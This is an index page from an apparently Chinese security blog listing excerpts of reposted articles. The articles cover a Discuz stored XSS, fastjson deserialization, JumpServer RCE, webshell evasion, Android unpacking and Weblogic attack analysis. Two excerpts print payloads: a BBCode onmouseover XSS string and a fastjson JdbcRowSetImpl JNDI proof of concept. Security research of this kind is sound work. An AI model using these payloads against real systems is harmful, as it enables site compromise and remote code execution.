DiscuzX3.2最新版存储型XSS分析（直接打首页）

DiscuzX3.2最新版存储型XSS分析（直接打首页）
最近在测试我司的某个业务，发现了多处XSS，并且在SRC上被外界白帽子爆出很多处反射型XSS与存储型XSS，所以根据现有的常用DZ版本进行了一次分析，先引带一下以前wooyun上某人的漏洞，下面是截取的某位总结的Discuz给二次开发所挖的4大坑： 好吧，废话不多说，下面是回顾以前所分析的DiscuzX系列的存储型XSS： 首先发表帖子，在帖子内容里面提交payload： [align="onmouseover="alert(1)] 发表帖子后在...
2018年04月27日 文章转载 暂无评论 喜欢 2 阅读 3,948 views 次 阅读全文

jumpserver最新re-auth复现（伪随机经典案例）

jumpserver最新re-auth复现（伪随机经典案例）
0x00 前言 最近edwardz(彭博)提交了个jumpserver的未授权rce，可以说是非常精彩，复现下来后发现确实是一个很经典的伪随机例子，这也是我一直想写但是找不出合适例子做教学的一套组合拳，现在正好借这个漏洞来写一写。 0x01 前置知识 在讲具体漏洞之前，我们先要了解一下伪随机数的概念。什么是伪随机数呢？在C语言或者其他类似语言里，经常会看到类似的代码： 这里其实就是基础的随机数的使用，一般是先...
2023年09月28日 文章转载 暂无评论 喜欢 0 阅读 3,930 views 次 阅读全文

密码保护：fastjson =< 1.2.47 反序列化漏洞浅析

密码保护：fastjson =< 1.2.47 反序列化漏洞浅析
poc {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}} 最近据说爆出来一个在hw期间使用的fastjson 漏洞，该漏洞无需开启autoType即可利用成功，建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见，建议升级到最新版) 环境准备 阅读本篇文章之...
2019年07月11日 文章转载 要查看留言请输入您的密码。 喜欢 2 阅读 3,893 views 次 阅读全文

PHP 从零学习到 Webshell 免杀手册

PHP 从零学习到 Webshell 免杀手册
作者：曾哥 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected] 一、PHP相关资料 PHP官方手册： https://www.php.net/manual/zh/ PHP函数参考： https://www.php.net/manual/zh/funcref.php 菜鸟教程： https://www.runoob.com/php/php-tutorial.html w3school： https://www.w3school.com.cn/php/index.asp 渊龙Sec安全团队导航： https://dh.aabyss.cn 开...
2023年10月10日 文章转载 暂无评论 喜欢 0 阅读 3,803 views 次 阅读全文

安卓的脱壳之战-邦邦脱壳

安卓的脱壳之战-邦邦脱壳
那么前面已经讲了腾讯和360的加固了，不知道有多少小伙伴学会了，今天我们继续讲解邦邦加固的壳！ 废话不多说，开始今天的教程，这次准备的软件是在我亲戚家的小儿子上面看到的一款软件，名为:“小学语文数学英语同步”的APP！ 准备的软件依旧是: 反射大师+MT管理器+虚拟大师 首先在本地查看安装包，可以看到是梆梆加固 接下来开始脱壳，脱壳的方法和360加固、腾讯加固一样，熟手直接下滑跳过这部分！我们打...
2021年02月02日 文章转载 暂无评论 喜欢 3 阅读 3,765 views 次 阅读全文

RealWorld|应急引发的规模性红队反制案例

RealWorld|应急引发的规模性红队反制案例
作者：狗哥、Superdong、Dm、主任 说明 本文未有过多的技术细节，主要讲述了近期在某省级攻防演练中因一个电话引起的一次日行千里的应急事件，以及如何溯源反制某公司既当裁判又当红队的安服人员，进而引发如何批量反制攻击手。 01 事件详情 晚上突然接到客户的电话，说在攻防演练期间被打的很惨，需要回血和加分。由于时间紧迫，无法第一时间赶到现场，于是先远程登录到涉事的服务器进行简单的排查。确定...
2023年10月08日 文章转载 暂无评论 喜欢 0 阅读 3,761 views 次 阅读全文

基于攻击流量和日志对Weblogic各类漏洞的分析思路

基于攻击流量和日志对Weblogic各类漏洞的分析思路
    前言 在最近的几次应急响应中，基于Weblogic反序列化漏洞的攻击是非常常见的攻击手段，于是在应急响应结束之余我希望将实战中的一些分析经验和思路进行总结，提炼出一套Weblogic类漏洞攻击的分析思路和方法。在这篇文章中，我将跟大家总结Weblogic日志基础知识，以及如何利用Weblogic攻击流量和日志深度分析和挖掘Weblogic的4种漏洞攻击场景。   一、“九层之台起累土”— Weblogic环境...
2019年04月04日 文章转载 暂无评论 喜欢 1 阅读 3,741 views 次 阅读全文

fastjson =< 1.2.51 反序列化漏洞实战复测

fastjson =< 1.2.51 反序列化漏洞实战复测
0x00：漏洞情况 前2周接到外部安全厂商阿里开源组件fastjson爆发高危漏洞预警，该漏洞可通过恶意构造Paylod发送JSON请求对系统进行远程代码执行，可导致直接获取服务器权限。前边很久之前对漏洞进行复测，确认通过该漏洞可直接获取服务器权限，漏洞风险高。 上边文章的介绍采用的是rmi的方式进行监听反弹，无奈没复测成功。今天将漏洞的ldap方式利用过程写成博客记录下形成笔记。 影响版本fastjson < 1....
2019年10月21日 文章转载 暂无评论 喜欢 8 阅读 3,740 views 次 阅读全文

安全扫描工具Arachni源码分析（一）

安全扫描工具Arachni源码分析（一）
Arachni是一个基于Ruby on Rails框架的Web安全漏洞扫描工具。 1. Ruby on Rails Ruby on Rails ，缩写ROR，是一个Web框架，包括两部分内容： Ruby 语言和 Rails 框架。Ruby一直以来流行于日本，直到2004年，26 岁的丹麦人 David Heinemeier Hansson 提出了Web框架 - Rails。这才让全世界人们，开始了解Ruby和Rails的灵活与高效。 1.1 Ruby 日本人松本行弘（ Matsumoto Yukihiro），在 1993 年开始着手...
2018年03月01日 文章转载 暂无评论 喜欢 3 阅读 3,734 views 次 阅读全文